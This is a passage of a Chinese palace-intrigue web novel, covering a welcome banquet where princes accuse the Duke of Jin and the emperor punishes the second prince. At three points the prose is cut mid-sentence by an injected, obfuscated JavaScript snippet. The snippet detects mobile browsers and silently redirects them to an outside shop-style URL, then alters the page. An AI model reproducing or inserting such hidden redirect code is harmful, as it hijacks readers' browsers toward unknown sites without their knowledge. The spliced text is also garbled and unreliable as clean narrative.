“你这是做什么?她做的不对自有英王处置,何须轮得到你来动手教训!”七皇子刘昶下马,大步向前,抬手拽住了蔡桐的马鞭,挡在了挽袖身前,怒目圆睁,愤怒地瞪着蔡桐。 挽袖捧着碎成两半的药罐,抬头泪眼朦胧地看着刘昶,哭诉道:“七殿下,英王殿下的药罐碎了,殿下身体本来就不好,全靠这汤药,不知这后面几天可怎么办啊!” 刘昶回头看了眼碎掉的药罐,狠狠地咬着后槽牙,拽着马鞭的手上又加了几分力道,一寸一寸的收紧着鞭子,眼神恨不得能把蔡桐撕碎。蔡桐刚刚欺负他四哥四嫂,现在又来欺负他大哥哥的近侍,不知明日是不是就欺负到他大哥哥头上了? 如今太子还没登基呢,蔡桐就这么嚣张,都敢欺负皇子了,若日后太子登基了,蔡桐还不知道会张狂成什么样子,岂不是要将他们这些皇室宗亲们都踩到脚下了? 刘昶越想越气,一把将蔡桐手中的马鞭拽了过来,蔡桐一个站不稳,摔在了地上。 “七弟!”英王刘元听到外面的动静,缓缓走过来。 刘元瞥了眼抱着药罐啜泣的挽袖,又看了眼怒目圆睁的刘昶,对着刘昶摇头示意,随后轻声道:“昶儿,不得对世子无礼。” 刘昶听刘元这么说,慢慢放下扬起的手,强压下去心头的怒气,把脸别过去。 刘元手伸到蔡桐面前,微笑这拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274207|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起倒在地上的蔡桐,道:“婢子不懂规矩,世子别怪罪。” 蔡桐见刘元出来打圆场,便不好多说什么,拍拍身上的灰土,无可奈何地道:“既然是婢子不懂规矩,那殿下就好好教导吧。” 蔡桐说罢,转身走了几步,看到地上的药罐,想到了皇后交代他的,随即又折返回来,对着刘元说道:“我记得四皇妃好似也在熬药,想来她那里会有多余的熬药罐子,我即刻便差人去问问。” 晋国公早就与齐国公不合,四皇子刘茂的生母张贵妃是齐国公府的女儿,因此蔡桐自然不会为了英王刘元去刘茂那里去讨要罐子。即便是他去了,刘茂也不见得会给他,说不定还会要讥讽他一番,自讨没趣的事蔡桐自然不会去做。 “先告辞了。”蔡桐语气并不算恭敬,草草作揖道别刘元和刘昶,而后离开此处。 刘昶见蔡桐这般态度,心中自然不忿,气血上头,刘元见状忙止住冲动上前的刘昶,对着刘昶和挽袖道:“你们两个,随我过来。” 待进了马车,刘元掏出一小盒药膏,递给挽袖,看着挽袖手上渗血的伤口,皱眉道:“怎么伤得这么重?那罐子摔了就摔了,也没什么大不了的。” 挽袖接过药膏,眼眶中含着眼泪,倔强道:“奴才挨这几鞭子并不觉得痛,只是担心殿下的身体。” “傻丫头。”刘元无奈摇头叹道,“去吧,先去把药抹了吧。” 挽袖担忧道:“可是——” 刘元对着挽袖挥手道:“蔡世子已经退了一步了,我们也没必要揪着不放,去吧。” 挽袖不放心地下去抹药道:“是。” 此时马车里只剩下了刘元和刘昶二人,刘元白了刘昶一眼,拿起书抖了一下,道:“大半年不见,怎么脾气还大了呢?” 刘昶是刘元教导大的,心中多少还是有些怵怕刘元的,听了刘元的话,虽有不服气,但也只得垂下头乖乖听训。 “你且安心在太子手下办事就好,不要与旁人多搅和。”刘元语重心长道,随即将手伸向刘昶,道:“拿来吧。” 刘昶有些懵,问道:“什么?” 刘元道:“万民书。” 刘昶佯装疑惑,尬笑道:“大哥哥你说什么,什么万民书,我怎么从未听过。” 刘元听后冷笑一声,但也拿刘昶没办法,他知道七弟性子倔,既然七弟不愿拿出来,那他再怎么问也是问不到的。不过七弟总是要将万民书呈给父皇的,只要他在父皇和太子阅览前拦下即可。 刘元拉长声音道:“哦~想必是我记错了。” “大哥哥真好开玩笑,哈哈。”刘昶尬笑几声,见刘元仍就绷着张脸,旋即便收起了笑容,找借口开溜道,“大哥哥,我去看看挽袖姐姐。” 不待刘元反应,刘昶便溜了出去。刘元见状只得无奈地摇头。 刘茂听说了刚刚英王刘元那边发生的事儿,不由得摸向放在胸口的血书,血书还在啊,心中顿时安心了不少。 刘茂怀中的血书,是永州上一任驻城官傅士安弥留之际所书,皆是对晋国公的控诉!字字泣血! 刘茂见他的妻子还朝因此受到了些许惊吓,便轻声细语地安慰着还朝:“还朝,你不用担心,且稍微忍耐两日,待我们平安到京师,就好多了。” 四皇妃还朝,是大江朝多年前送到大胡的和亲公主的后代,和亲公主的后代亲近大江朝,时时想着能归顺大江,所以给女儿取名还朝,更是将女儿嫁给了四皇子,希望四皇子带着还朝公主回大江。 “四郎,我没事的。”还朝轻柔地说道。 刘茂抱着还朝,轻轻地拍着还朝的肩膀,安抚着还朝。 还朝从小便听父亲母亲描述,说大江京中是如何的繁华,大江人谦逊懂礼,与大胡彪悍的民风民俗很是不同,因此对大江充满好奇,还朝时不时撩起帘子的一角,透过车窗朝外看去,对帘外的一切充满了好奇,方才的惊吓被窗外的美景冲散了不少。 刘茂透过还朝撩起帘子漏出的车窗一角,看向大江的土地,心中五味杂陈。 自十二年前一别,时至今日,他再一次踏上大江的国土。 他刘茂终于回来了。 11. 未定(一)宴上弹劾 皇后为四皇子刘茂办的接风宴极为体面,承道帝很满意。 “宣——” “英王刘元,四皇子刘茂,七皇子刘昶,晋国公世子蔡桐觐见!” 英王刘元带着四皇子刘茂、七皇子刘昶、晋国公世子蔡桐等人上殿。 贵妃自刘茂上殿时,便情绪激动,喜不自胜,目光一直落在四皇子身上。 承道帝笑着看向许久未见的儿子刘茂,不由得紧紧地握着贵妃的手,眼眶湿润。 皇后将这一幕看在眼里,不由得翻了个白眼,强压着心中不适的情绪,仍面上带笑地看着阶下四人。 三位皇子异口同声跪下高呼道:“儿臣拜见父皇!” 蔡桐跪下道:“臣蔡桐拜见陛下!” “快快起来。”承道帝从龙椅上起身,拉着贵妃一并走下台阶去搀扶三位皇子。承道帝知道贵妃是多么地期盼着刘茂回来,同样,他也是。 坐在承道帝左边的皇后见承道帝起身,也随着承道帝一同走下去。 承道帝扶起跪着的四皇子刘茂,满眼的慈爱深情,眼睛不愿意从四皇子身上离开,轻拍着刘茂的手,连连道:“好,好,回来就好。” 刘茂见到父母就在眼前,突然涕泗横流道:“父亲母亲,儿子回来了。” 贵妃听后,抑制的眼泪再也绷不住了,倏地眼前一黑,双脚一软,身子朝着前面就要倒下去,要不是承道帝和身后的宫人们及时扶着,只怕就要倒在地上了。 承道帝稳了稳情绪,低声安慰着贵妃道:“爱妃,你情绪失态了,先下去歇息片刻。” 承道帝轻拍着贵妃的手,语气温柔且坚定地安抚道:“你放心,今后必然不会再让你们母子分离了。” 李尚宫听后,心中暗喜,又怕承道帝过会儿会改变主意,忙上前扶起贵妃,拿出手帕为贵妃轻轻擦拭脸上挂着的泪珠,在贵妃耳边轻声道:“娘娘,我们先去偏殿休整片刻。” 贵妃意识到自己失态,如今又听到承道帝这般承诺,她已是心满意足,拜别承道帝和皇后,便由李尚宫扶着去偏殿歇息了。 “好孩子,快落座吧。”承道帝笑着为刘茂擦去眼泪,拍着刘茂的肩膀,随即便转身上阶落座。 刘茂应声道:“是。” 在旁的刘元受了一路的颠簸,身子扛不住劳累,不由得剧烈咳嗽起来。 承道帝关心道:“元儿,你劳累了许多日,也先下去休息吧。” 见此情形,永安公主刘安也站出来,道:“父皇,儿臣先带弟弟去偏殿歇息片刻。” 自从四弟刘茂回京的消息传出来,弹劾晋国公的奏章便多了起来,虽说太子已尽数压下,但刘安还是隐隐察觉有些不安,似有大事要发生。可英王近来不在京中,她连个可以商量的人都没有。 承道帝心情不错,随即摆手,随刘安和刘元他们去了。 承道帝和皇后登上台阶落座,待宴会人员坐定后,承道帝命吴善辅宣读封赏: “大挫胡人,重塑北境边防,尔等都功不可没,一律有赏。” “四皇子刘茂既已及冠,着封为秦王,封地陌南;七皇子刘昶、晋国公世子蔡桐加封为驻边大将军,赏锦缎百匹,黄金百两;英王刘元,赏黄金百两。” “谢父皇圣恩。” “谢陛下圣恩。” 刘茂、刘昶和蔡桐都站出来跪下谢恩。 承道帝笑道:“平身。” 蔡桐听后,抬头起身,身子刚直起来,就看到跪在他前面的刘茂和刘昶都还跪着,他忙又重新跪下垂头。蔡桐心中疑惑不解,陛下不是已经说了平身吗,二位皇子这是做什么? 蔡桐跪在后面,偷偷地拽前面刘茂和刘昶的衣角,示意他们起身,但刘茂和刘昶并不理会蔡桐,蔡桐无奈,只得继续跪着。 承道帝看到此情景,好奇地笑问道:“怎么?你们不满意朕的赏赐吗?” 承道帝见三人不说话,顿觉脸上有些挂不住,脸上表情一变,不过仍笑着问道:“那说说看,朕来听一下你们想要什么?” 刘茂深吸一口气,从怀中掏出血书,直挺挺地跪地高喊道:“启奏父皇,儿臣要告晋国公欺上瞒下,贪污军需,置边疆战士于水火。这份血书是永州上任驻城官傅士安临死前写下的,字字泣血句句诛心,还请父皇阅览,还边疆战士一个公道!” 刘茂说罢,脑袋重重地磕在地上。 皇后听闻刘茂所说的,气愤地一掌拍在面前的桌子上,怒视着跪着刘茂,眼中的怒火恨不得将刘茂烧成灰。 她已对刘茂处处忍让,让刘茂平安回京,没想到刘茂回京后竟然这么不知好歹,上赶着找事,他还想怎样?难道还要做太子吗? 承道帝冷冷地看了眼皇后,面上不悦,皇后怎么这么沉不住气? 皇后身后的蔡尚宫注意到承道帝神色不悦,碰了碰皇后的衣袖,示意皇后先静观其变。 皇后余光瞥了眼承道帝的神色,不情愿地慢慢收回手,手握成拳藏在袖中,对刘茂恨得咬牙切齿。 宴会上众人见此情形,心中皆是大惊,垂着头,眼珠子滴溜溜地转,一会儿瞟向晋国公,一会儿瞟向跪在地上的刘茂和刘昶,甚至还有人偷偷瞟向承道帝和皇后,想看他们是何反应。 温嘉诚按住旁边险些要站出来的五皇女刘宁,微微摇头示意刘宁不要冲动。 刘宁感受到温嘉诚紧紧握着她的手腕,扭头看向温嘉诚,纠结片刻后,才缓缓放弃站出来的想法,和殿中其他人一样安静看着。 殿内一片死寂。 承道帝抬手示意身旁的吴善辅,示意吴善辅将血书呈上来。 吴善辅小心翼翼地走下阶去,取了刘茂手中的血书,战战兢兢地将血书呈给承道帝。 承道帝接过血书粗略一扫,脸上神情瞬间冷了下来,北境失守,不光是因为晋国公的不作为,还有晋国公与胡人暗中勾结,甚至在胡人踏入大江地界时晋国公下令不予抵抗,这才到时胡人能一路南下兵临京师。 承道帝虽早就猜到了十二年前永州那一仗是晋国公和皇后的手笔,但没想到真相远比他猜测的还要残酷百倍。 皇后看到承道帝脸色有变,心中不由得一紧,很想知道傅士安到底在血书中写了什么事。 皇后对晋国公以及颖州蔡氏的所作所为有所耳闻,不过如今承道帝放权太子监国,所有交由承道帝批阅的奏章会让太子先过目,太子又仁孝,对晋国公的事情多有遮掩,因此也没人敢说些什么。 就连皇后她自己,也以为天下尽在他们手中了,因此也是对此睁一只眼闭一只眼。只是没想到如今被刘茂当着这么多人的面,捅到了承道帝面前。 承道帝注意到皇后的目光落在血书上,装作不经意地收起血书,思索着要如何处理这件事。 承道帝早就想着处置晋国公,处置这些世家大族,但这些世家的势力盘根错节,牵一发而动全身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274208|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先帝启盛帝就是因为手段太过强硬大兴改革,触动了这些世家的利益,落得个坠水早亡的结果。 因启盛帝无子早亡,这才轮到他刘适做这个皇帝。 况且对于这些人的手段,承道帝他早就体会过,当年自己被设计宫中醉酒,之后刘元的生母祁妃、刘安的生母陈妃在他登基前暴毙,以及后来的永州战败刘茂远赴大胡做质子,桩桩件件都与这些世家大族脱不了干系。 这些年,虽说承道帝纵横谋划,让齐国公和晋国公反目为仇,分化了齐国公和晋国公,但也怕处理不当反而会让他们放下前嫌团结起来,若他们因此拧在一起,只怕会落得启盛帝一样的结局了。 因此眼下并不是处理晋国公的好时机。 承道帝看到阶下还跪着个七皇子刘昶,疑惑这孩子怎么和这件事搅在了一起,于是冷冷问道:“昶儿,你呢?” 刘昶顶着承道帝的压力,高举着收集的万民书:“儿臣驻军永济诚,收集了这万民书,民生哀怨,里面桩桩件件皆是对蔡桐的控诉,还请父皇阅览,为百姓做主!” 承道帝一个眼神,吴善辅就下阶取来万民书,呈给承道帝。 承道帝看过刘昶收集的万民书后,啪得一声合上,背靠在龙椅上,眼神微眯透露出些许杀气,举着万民书质问刘昶:“你想干什么?这万民书是谁让你收集的?如此沽名钓誉的事儿是谁让你做的?” 承道帝知道他这个儿子刘昶是个什么品行的人,刘昶断不会参与到这些党争之中,想必是受了旁人的蛊惑。 刘昶直挺挺地跪着,梗着脖子分辩道:“父皇,万民书上所写,皆是儿臣亲眼所见亲耳所闻,边境百姓颠沛流离,民不聊生——” 刘昶的生母容嫔在一旁急得扣紧手指,指甲嵌入掌心中,这孩子怎么这么倔,非要牵扯到太子刘牧和四皇子刘茂的纷争之中! 承道帝看着刘昶耿直的样子,气得将万民书摔到刘昶面前,打断刘昶的话,怒道:“够了。” 承道帝虽然生气,但也找到了台阶下,就让蔡桐和刘昶暂且背了这锅,小小惩戒一番,不至于打草惊蛇,让那些世家大族产生警惕。 承道帝开口,说出了对二人的惩罚:“蔡桐,即日起免了他的世子之位,官降三级!罚俸一年!” “七皇子刘昶——” 太子刘牧听到此处,忙走出席位,跪在地上为弟弟求情,打断承道帝道:“父皇——” 刘牧知道四弟刘茂回京便会有所行动,虽已拦截数封弹劾晋国公及世子蔡桐的奏折,又命蔡桐监视着刘茂的一举一动,但他没想到这两个弟弟藏的这么隐蔽,在接风宴上闹得这么大。 事情起因源于他刘牧,那就让他来解决吧。他会让父皇母后满意,会让所有人满意,定会给臣民一个交代。 晋国公和蔡桐方才隐忍不发,如今见太子都出来辩驳,便也跟着出来跪下,不待太子说完,便伏地高呼,辩白道:“还请陛下明查,还臣等清白!” 太子跪在地上,头微倾,不满地瞪了眼晋国公和蔡桐,真是弄不清局势,这会来添什么乱? 太子跪着前行几步,情真意切地请求道:“父皇,这件事就交给儿臣吧,待儿臣查明真相后再禀明父皇。” 承道帝居高临下地看着阶下跪着的众人,一步一步走下台阶,行至太子面前,叉腰看着跪在地上的太子刘牧,不由得冷笑一声,怎么,难道太子还在想着包庇晋国公吗? 12. 未定(二)委罪于人 二皇子刘仲瞅准时机,站出来为这件事添柴加火,阴阳怪气道:“父皇,儿臣虽不曾在边境待过,但在京中也听说过不少关于晋国公府及颖州蔡氏的事迹。” 刘仲收到太子刘牧如刀般的眼神后,装作一副茫然的样子,疑惑问道:“怎么,太子殿下监国多日,竟从未没听说过吗?” 刘仲继续笑着挑衅道:“我可是听说,这几日弹劾晋国公的奏折,如雨后春笋般冒出来,多的数不胜数呢。” 太子太傅王落儒听后,不满刘仲所言,站出来,意指刘仲开口道:“陛下!单凭一张血书和一册万民书,也说明不了什么,保不齐是有心人伪造,再假借四殿下和七殿下的手呈给陛下,为的是搅乱朝局。” 太傅王落儒道:“不如让太子殿下细细查验,待查个证据齐全水落石出,也好还各位清白。四殿下与七殿下若不放心,也可在旁协助监察。” 虽说太傅王落儒常对晋国公及颖州蔡氏有所不满,但晋国公是太子登基的一大助力,绝不能就此塌台,因此王落儒站出来力挺太子和晋国公,将矛头指向二皇子刘仲。 太傅王落儒义正言辞道:“别冤枉了任何一个人,但也别放过任何一个试图搅扰朝堂的人!” 七皇子刘昶听后怒道:“傅士安临死前的血书不是证据吗?万民书不是证据吗?那到底什么才是证据?到底怎样才算证据齐全?” 刘昶刚收到万民书时,看得他心惊,他没想到,没想到在一片欣欣向荣的大江竟藏了这么多见不得人的勾当。 刘昶怒目圆睁,目眦欲裂,怒吼问道:“难道要大江十万大军的亡魂站在大殿之上控诉,这才算是证据齐全吗?” “够了!”承道帝恼怒,出言阻止刘昶继续再说下去。 十二年前十万大军湮灭在永州与大胡边境,导致大江国力衰微。而胡人在大江战败后,一路南下直指京师,他不得已带着臣民南下逃至汀州,这一直是他心中的痛。 刘仲见七弟刘昶惹恼了父皇,又仗着父皇近些天对他的重用偏宠,继续添油加醋道:“父皇,不妨先看过众卿家的弹劾吧。” “嗯?前几日不还有一箱弹劾晋国公的折子抬进了东宫呢?”刘仲见太子刘牧不置一词,颇有些幸灾乐祸质问道,“怎么,太子殿下竟不知情吗?” 太傅王落儒见二皇子言语之中直指太子,忙出言为太子辩驳道:“二殿下这话是什么意思?” 这二皇子刘仲的生母是启盛帝贵妃宫中的一个洗脚婢,承道帝至今未予以册封。且承道帝想来不喜这二皇子,以二皇子的存在为耻,以致刘仲早过了及冠的年纪,承道帝仍不予封王。 当年若不是齐国公无意发现了苟活在宫中的刘仲,又趁着承道帝大赦天下时让承道帝认下了刘仲,今时今日这刘仲还不知道会死在那里呢! 刘仲不过是近来得些看中,就敢这般蹦跶,还妄想拉太子下水,真是岂有此理! 太傅王落儒又牵扯到承道帝身上,言语犀利道:“太子殿下是奉陛下的命令监国辅政,二殿下这是在质疑陛下吗?” 刘茂、刘昶这两位皇子虽当众弹劾晋国公,将矛头都对准了晋国公,可却无一人牵扯到太子身上。 承道帝刚还在想怎么处理这件事,在想怎么把这几个儿子摘出去,毕竟这兄弟阋墙的事儿传出去不好听。 不过承道帝都从未想过要牵扯太子,这个逆子刘仲倒好,竟言语直指太子! 逆子! 承道帝目光扫向刘仲,看着刘仲,便想到他那身份低微的母亲,若不是她自己也不会有把柄落在汀州张氏齐国公的手中。 想到这,承道帝心中忍不住泛起一股厌恶,怒从中来,一脚狠狠地踹在刘仲身上,骂道:“你算个什么东西?竟敢攀咬太子?” 随即承道帝为整件事定了性,对众人道:“刘仲品性不佳,居心叵测,攀咬太子。” 承道帝又下令严惩刘仲:“来人,将他拖下去,杖责五十!幽禁府中!” 刘仲不可置信地抬头看向承道帝,他不明白,为什么?四弟和七弟挑起的事端,他只不过是跟着说了几句话而已,就受到了这么严重的惩罚。 杖责五十!受了这刑罚只怕半条命都没了! 有个与刘仲交好的大臣看不下去承道帝如此偏颇,站出来为刘仲求情:“陛下,五十大板下去只怕要丢掉半条命!还望陛下三思!” 承道帝看也不看,一并处置了。随后对着殿内众人说道:“朕不希望看到有第二例攀咬太子、诬陷太子的事儿,若再有,就不是杖责幽禁了。” 承道帝扫视一周,众人皆垂下头,不敢多看一眼。这下,再也没有人敢再多言一个字了。 承道帝解决完,转身走上台阶,落座就席。皇后亲自承办的接风宴还是要继续,不能不给皇后这个面子。 七皇子刘昶心中很是不解,明明今天弹劾的是晋国公,怎么最后受罚的是二哥?看父皇这意思,是已经不准备追究晋国公了?为什么? 难道要就此放过晋国公吗? 那他们之前做的那些事算什么!血书又算什么!万民书又算什么! “父皇!”刘昶直起身高喊一声,跪着向前挪动几步,意欲让承道帝此刻就处置晋国公。 四皇子刘茂见状,拉了一把刘昶,但被刘昶甩开了。刘茂不得已也跟着跪到刘昶身旁,猛得把刘昶的头按下去,同他一起叩首跪着,阻止刘昶再继续说下去。 承道帝停下脚步,扭头冷眼看向刘茂和刘昶,问道:“你们还要说什么吗?” 当初让四子刘茂回来,是因为太子监国致承道帝失权,让刘茂回来制衡太子刘牧,且刘茂的外祖家齐国公也可与刘牧的舅家晋国公相制衡,两两相争必有损伤,这样才没有人会阻拦承道帝推行他的政策。 但没想到刘茂一回来就闹得这么大,若再继续按照这样行事,牵涉到太子,太子非被废不可。 若太子刘牧被废,四皇子刘茂现在势不可挡,不就又成了第二个刘牧吗?到时又是皇权旁落,这可就与承道帝谋划地大相径庭。 太子不能动!晋国公此时也不能动! 承道帝心中打定主意,绝不允许有人打乱他的计划,因此对着四皇子说:“茂儿,你既已受封秦王,就快去封地就藩吧。” 刘茂怔了片刻,十二年未见,没想到父皇竟这般薄情,急冲冲地要赶他走。 “父皇——”刘昶听后不禁为四哥刘茂抱屈,四哥才刚回京,兄弟姐妹们还没团聚片刻,父皇怎么忍心让四哥去陌南? “儿臣遵命!”刘茂知道七弟刘昶是个耿直的性子,担心七弟会惹恼了父皇,因此不待七弟刘昶再多说一个字,便高呼领命,压住了刘昶的声音,而后就推搡着刘昶落座观宴。 容嫔见状松了一口气,轻轻抚着胸口,还好有四皇子刘茂帮着昶儿,要不然昶儿会向二皇子一样,挨上五十板子。 承道帝见他们二人落座后,一个眼神看向吴善辅,示意宴会继续。 吴善辅会意,吩咐宫人们按照章程继续进行接风宴。 皇后见承道帝回来,语气不满道:“陛下就这般轻轻放过了始作俑者吗?陛下可要还我们颖州蔡氏一个公道啊!” 承道帝冷哼一声,假笑着拉过皇后的手,睥睨道:“不过是小孩子不懂事,况且事情已经过去了,依朕看来就不必追究了。皇后可别失了一国之母的气度。” 皇后深吸一口气,调整好脸上的表情,咬牙切齿地皮笑肉不笑道:“是,陛下所言极是。” 随后承道帝和皇后一同看向大殿内的歌舞。 六皇子刘赞总觉得心中有些不安,直觉告诉他事情没有这么简单。 刘赞见歌舞开始,大殿气氛又重新热闹起来,此时离席只怕没人会注意到他。 大哥哥刘元和大姐姐刘安在偏殿,只怕大殿之上发生的这些大姐姐和大哥哥还不知情,于是刘赞便悄悄溜出大殿去了偏殿,他得去告诉他们。 虽然大殿内丝竹之声不断,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘元看见散发着苦味的乌黑汤药,一脸嫌恶地别过头去,绕过挽袖,轻掩着鼻子道:“这药先放一放,待我回来再喝吧。”说罢,便忍不住轻咳两声。 刘安见弟弟刘元咳嗽又不肯喝药,端起药碗亲自递到刘元面前,道:“元弟,要我亲自喂你喝下吗?” 刘赞在旁边看着掩嘴偷笑,平日里看着很严厉的大哥哥,没想到竟然不爱喝药,真像个小孩似的。 刘元绕着刘安转了一圈,无奈苦笑道:“大姐姐,我感觉我现在的身体状况好多了,我看实在是不必再喝了。” 刘元先前就察觉到随着日复一日地喝药,他的身体并不见好反而越来越拆,便不愿喝药。但这药是皇后寻遍天下名医为他寻来的,且每天都派人来监督他喝药,因此刘元每天还是乖乖把药喝尽。 但在迎四弟回来的路上,因蔡桐打碎了刘元熬药的罐子,刘元停了几天药,却明显感觉到身体似有变好。刘元本就不愿喝药,如今发现不喝药身体会变好,现下更不愿意喝。 不过皇后的近侍就在旁边看着他,如今又有大姐姐在一旁守着,只怕躲不过了。 刘元见状,只得苦笑着将药一饮而尽,将见底的药碗展示给皇后的近侍、大姐姐刘安、挽袖看。 皇后的近侍看到英王刘元把药喝干净,笑着道:“奴才这就去向娘娘复命,还望殿下不要太过操劳,多多休息。奴才先告退了。”说罢,便拜别众人离开偏殿。 刘元待皇后的近侍走了有一会儿,一个剧烈咳嗽,将喝下的药呕出大半。 挽袖忙用手帕接住,眼神担忧地惊呼道:“殿下!” 刘安和刘赞见状也慌了神,忙搀扶着刘元倚到榻上。 刘安轻拍着刘元的后背,为刘元顺气。 刘元轻咳一声,有力无气道:“大姐姐,我没事,你们先去正殿吧。” “你这个样子我怎么能放心呢?”刘安语气着急道。 偏殿内的他们几人正为着英王刘元的身体状况而担忧,忽而听到外面传来: “起驾——回宫——” 屋内刘安、刘元、刘赞相互对视一眼,眼中尽是疑惑。 刘安纳闷道:“我记得宫宴要戌时结束,如今刚过酉正,怎么早早就结束了?” “我去看看。”刘赞说罢,大步流星推门走出去。 13. 未定(三)苦口婆心 “哎呦!” 大步流星走出左偏殿的六皇子刘赞刚推开门走出去,便与站在左偏殿前望着正殿方向的五皇女刘宁撞了个满怀。 二人都不由得哎呦叫了一声。 “五姐,你不在正殿,站在在这儿干什么?”刘赞捂着被刘宁发簪碰到的额头,带着好奇些许不满问道。 旋即刘赞想到刘宁刚从正殿出来,定会知道正殿内发生了什么,定会知道父皇为何会提前离席,因此刘赞扶住刘宁的手,眼神急切地问道:“那你可知在我走之后正殿发生了什么吗?” 刘宁推开刘赞,扶了扶被刘赞撞歪的发髻,嘴里嘟囔道:“我哪里知道发了什么,我看着你出来便也跟着出来了。” 原本刘宁是跟在刘赞后面离开了正殿,见刘赞来到了大姐姐和大哥哥在左偏殿,想到母妃张贵妃在右偏殿歇息,刘宁便去了右偏殿。 刘宁将正殿发生的事情说与贵妃听。 贵妃听后,担心四皇子刘茂再惹得承道帝不高兴,便要拉着五皇女刘宁回正殿。贵妃要趁着承道帝还没恼怒时,让承道帝为刘茂与温国公的女儿温嘉诚赐婚。 若温嘉诚为茂儿的皇妃,那茂儿便能与温国公与齐国公亲上加亲,背后便有温国公与齐国公的支持,如此在面对太子及其背后的晋国公时才更有胜算。 刘宁才刚从正殿出来,自然不愿再踏入,因此便告别贵妃,来左偏殿找大姐姐玩耍。 不料刘宁刚出了右偏殿,在通往左偏殿的走廊外,看见了为大哥哥刘元送药的皇后近侍,刘宁不愿与皇后的近侍多接触,特意等着皇后的近侍离开后才走进左偏殿。 没想到刘宁刚行至左偏殿门口,便听到了父皇起驾,因此驻足观望,却不想与刚出门的查探的刘赞撞到了。 “哎呀!”刘赞听后无奈地在胸前抱拳,长叹了口气,转身进偏殿说与大姐姐刘安与大哥哥刘元听。 刘元现已知承道帝离开,想着宴席也会不久结束,便交代刘宁与刘赞几句道:“既然父皇回宫了,那我和大姐姐便先回去了,你们两个不要贪玩,也早些回去歇着吧。” 说罢,刘元给刘安使了个眼色,刘安会意。刘安所居的福康宫与刘元所居的东华宫都在东六宫,二人宫室仅一座宫墙相隔,因此二人顺路便一道回去了。 五皇女刘宁虽早已及笄,但承道帝尚未给她爵位封号,因此并未建府,且贵妃就这一个女儿,也不舍得刘宁住在宫外,因此刘宁与贵妃住在一处,住在西六宫的云清宫。 六皇子刘赞只比刘宁小一岁,如今才十九未及弱冠,也未建府,住在皇宫琼湖旁的绛云轩,也算是西六宫的范畴。因此二人也算是顺路。 “是。”刘宁与刘赞应允道,待刘元和刘安二人走后,刘宁和刘赞便一道回去了。 待承道帝、皇后、贵妃等主位接连离开宴席后,宴会便草草结束,参宴众人虽目睹了一件件皇室秘闻,但也不敢过多交谈,现下心中都只想着快点离开皇宫,快点离开这个是非之地。 七皇子刘昶随着人群走出正殿,带着心中的不解,来到偏殿找永安公主刘安与英王刘元,向他们寻求答案。 永安公主刘安是承道帝刘适的第一个孩子。承道帝还是个闲散王爷信王,大女儿刘安出生,刘安的生母是信王刘适宠爱的侧妃陈氏所生,后又每日被承道帝带在身边亲自教导抚育,因此刘安深受承道帝喜爱。 即便是刘安早早受封永安公主,建了公主府,仍居于皇宫中的福康宫。福康宫离承道帝的寝殿福宁殿距离仅一盏茶的功夫,足以可见永安公主刘安所得的恩宠。 英王刘元也是承道帝刘适做信王时,承道帝的王妃祁氏所生,祁妃与刘适很是恩爱,与刘安一样,得刘适的细心教导。只是祁妃不幸,在刘适即将登基为帝时暴毙而亡。 刘元也因母亲离世而哭伤了身体,患上了与祁妃一样的弱亡之症,虽后来有皇后为刘元召集天下名医看病,寻遍天下药房为刘元续命,但也只是残喘度日,身子骨还是孱弱,总不见好。 因此承道帝自登基后便封了大儿子刘元做英王,将原本是太子所居的东宫改名东华宫,赐予英王刘元居住。 英,聪明秀出谓英,才能过人曰英。 无论是刘元的寝宫还是刘元的爵位封号,皆可见承道帝对这个儿子的疼爱,可虽刘元自幼聪敏,身子却孱弱,因此承道帝并未对刘元动过立储之心。 正因刘安与刘元二人均无即位之可能,因此承道帝极信任和宠爱刘安和刘元,宫中的皇子皇女们,除却二皇子刘仲外,其余各皇子皇女均由刘安与刘元教导过,甚至承道帝还让他们二人参与朝政、辅佐太子监国。 因此七皇子刘昶想知道承道帝今晚为什么会只严惩二皇子刘仲,便只能来找永安公主刘安和英王刘元。岂料当刘昶来到偏殿,碰到了各自回宫的刘宁与刘赞,才得知刘安和刘元已经回去了。 刘昶想了想,依照大姐姐和大哥哥的习惯,这会儿应该都在大哥哥刘元的东华宫看书习字,又忙朝着东华宫赶去。 刘赞叫住刘昶,问道:“七弟,正殿内发生了什么事?” 刘昶道:“贵妃娘娘为四哥与温国公家的女儿指婚,好像是叫什么温嘉诚吧。” 刘宁听后眉头一蹙,问道:“是父皇不同意吗?” 刘昶回道:“倒不是父皇不愿意,是四哥不肯。四哥已娶妻,又与四嫂恩爱,怎么会肯呢?” “娶妻?”刘宁听后与刘赞疑惑对视一眼,怎么她从未听母妃和哥哥提起过?忽而刘宁想起有位胡人公主与四哥一同随行回京,难道是她? 刘宁试探着问:“是那个胡人公主?” “是啊,怎么,你竟不知?”刘昶护送四皇子刘茂一同回京,自然知道四皇妃还朝的存在,只是好奇刘宁身为四哥的胞妹竟然会不知。 刘宁听后不理刘赞和刘昶二人,现在她只想着回宫找母妃问清楚。 